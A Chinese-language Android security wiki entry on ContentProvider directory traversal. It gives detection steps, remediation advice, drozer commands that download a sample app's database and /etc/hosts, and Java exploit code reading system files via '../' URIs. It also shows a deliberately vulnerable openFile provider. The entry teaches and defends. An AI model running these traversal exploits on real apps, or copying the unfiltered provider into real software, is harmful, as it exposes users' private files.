WIKI

7.3 ContentProvider目录遍历漏洞检测

(1)描述

该漏洞由于Content Provider组件暴露,没有对Content Provider组件访问权限进行限制且对Uri路径没有进行过滤,攻击者通过Content Provider实现的OpenFile接口进行攻击,如通过”../”的方式访问任意的目录文件,造成隐私泄露。

 

(2)风险等级

提醒

(3)影响范围

所有Android系统。

(4)检测方法

检测类型:动态分析

通过分析AndroidManifest.xml检测出暴露的content provider(使用7.2的检测方法),然后检测是否实现了openFile函数,最后检测openFile中有没有对uri进行过滤检测。

检测步骤:

0x01 找出导出的provider组件

 

0x02 找出存在目录遍历漏洞的uri

run scanner.provider.traversal -a com.mwr.example.sieve

 

 

(5)修复建议

ü  将不必要导出的Content Provider设置为不导出

ü  由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此如果应用的Content Provider不必要导出,阿里聚安全建议声明最低SDK版本为8以上版本;
由于API level 17以下的所有应用的“android:exported”属性默认值都为true.,因此如果应用的Content Provider不必要导出,阿里聚安全建议显示设置注册的Content Provider组件的“android:exported”属性为false

ü  去除没有必要的openFile()接口

ü  如果应用的Content Provider组件没有必要实现openFile()接口,阿里聚安全建议移除该Content Provider的不必要的openFile()接口。

ü  过滤限制跨域访问,对访问的目标文件的路径进行有效判断

ü  使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“../”实现任意可读文件的访问的Uri字符串;

ü  设置权限来进行内部应用通过Content Provider的数据共享

ü  使用签名验证来控制Content Provider共享数据的访问权限,如设置protectionLevel=”signature””signatureOrSystem”

ü  公开的content provider确保不存储敏感数据

ü  提供asset文件时注意权限保护

(6)漏洞利用

0x01 找出导出的provider组件

 

0x02 找出存在目录遍历漏洞的uri

run scanner.provider.traversal -a com.mwr.example.sieve

 

 

0x03 目录遍历攻击

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db .

获取到sievedatabase.db数据库,如下:

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts .

hosts文件如下:

 

或者可以通过第三方app进行攻击,漏洞利用代码如下:

public void attack() {

        try {

            String fileUri = "content://com.mwr.example.sieve.FileBackupProvider/etc/hosts";

            ContentResolver cr = this.getContentResolver();

            FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));

            byte[] buff = new byte[in.available()];

            in.read(buff);

            Log.v("wgc", new String(buff));

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

实例:

0x01:漏洞代码
(1)StudentsProvider:

public class StudentsProvider extends ContentProvider {

 

    @Override

    public ParcelFileDescriptor openFile(Uri uri, String mode)

            throws FileNotFoundException {

        File file = new File(getContext().getFilesDir(), uri.getPath());

        if (file.exists()) {

            return ParcelFileDescriptor.open(file,

                    ParcelFileDescriptor.MODE_READ_ONLY);

        }

        throw new FileNotFoundException(uri.getPath());

    }

 

    @Override

    public boolean onCreate() {

        // TODO Auto-generated method stub

        return false;

    }

 

    @Override

    public Cursor query(Uri uri, String[] projection, String selection,

            String[] selectionArgs, String sortOrder) {

        // TODO Auto-generated method stub

        return null;

    }

 

    @Override

    public String getType(Uri uri) {

        // TODO Auto-generated method stub

        return null;

    }

 

    @Override

    public Uri insert(Uri uri, ContentValues values) {

        // TODO Auto-generated method stub

        return null;

    }

 

    @Override

    public int delete(Uri uri, String selection, String[] selectionArgs) {

        // TODO Auto-generated method stub

        return 0;

    }

 

    @Override

    public int update(Uri uri, ContentValues values, String selection,

            String[] selectionArgs) {

        // TODO Auto-generated method stub

        return 0;

    }

 

}

 

(2)AndroidManifest.xml:       

<provider

            android:name="com.bug.contentprovider.openfile.StudentsProvider"

            android:authorities="com.bug.provider.College"

            android:exported="true"

            android:permission="com.bug.contentprovider.openfile.android.permission.PERMISSION_REWRITE" >

        </provider>

0x02:漏洞利用代码:

public class MainActivity extends Activity {

 

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

 

        attack1();

        attack2();

    }

 

    public void attack1() {

        try {

            String fileUri = "content://com.bug.provider.College/"

                    + "../../../../system/etc/hosts";

            ContentResolver cr = this.getContentResolver();

            FileInputStream in = (FileInputStream) cr.openInputStream(Uri

                    .parse(fileUri));

            byte[] buff = new byte[in.available()];

            in.read(buff);

            Toast.makeText(getBaseContext(), new String(buff),

                    Toast.LENGTH_LONG).show();

        } catch (Exception e) {

            e.printStackTrace();

        }

 

    }

   

    public void attack2() {

        try {

            String fileUri = "content://com.bug.provider.College/"

                    + "../../../../system/build.prop";

            ContentResolver cr = this.getContentResolver();

            FileInputStream in = (FileInputStream) cr.openInputStream(Uri

                    .parse(fileUri));

            byte[] buff = new byte[in.available()];

            in.read(buff);

            Toast.makeText(getBaseContext(), new String(buff),

                    Toast.LENGTH_LONG).show();

        } catch (Exception e) {

            e.printStackTrace();

        }

       

    }

 

}

 

 

        下面是利用上面攻击代码后获取到的数据:

    

(7)案例分析

www.wooyun.org/bugs/wooyun-2013-047098

www.wooyun.org/bugs/wooyun-2013-044407

www.wooyun.org/bugs/wooyun-2013-044411

(8)参考资料

https://jaq.alibaba.com/blog.htm?id=61

http://drops.wooyun.org/tips/4314

http://wolfeye.baidu.com/blog/content-provider-file-traversal

http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html

https://manifestsecurity.com/android-application-security-part-15/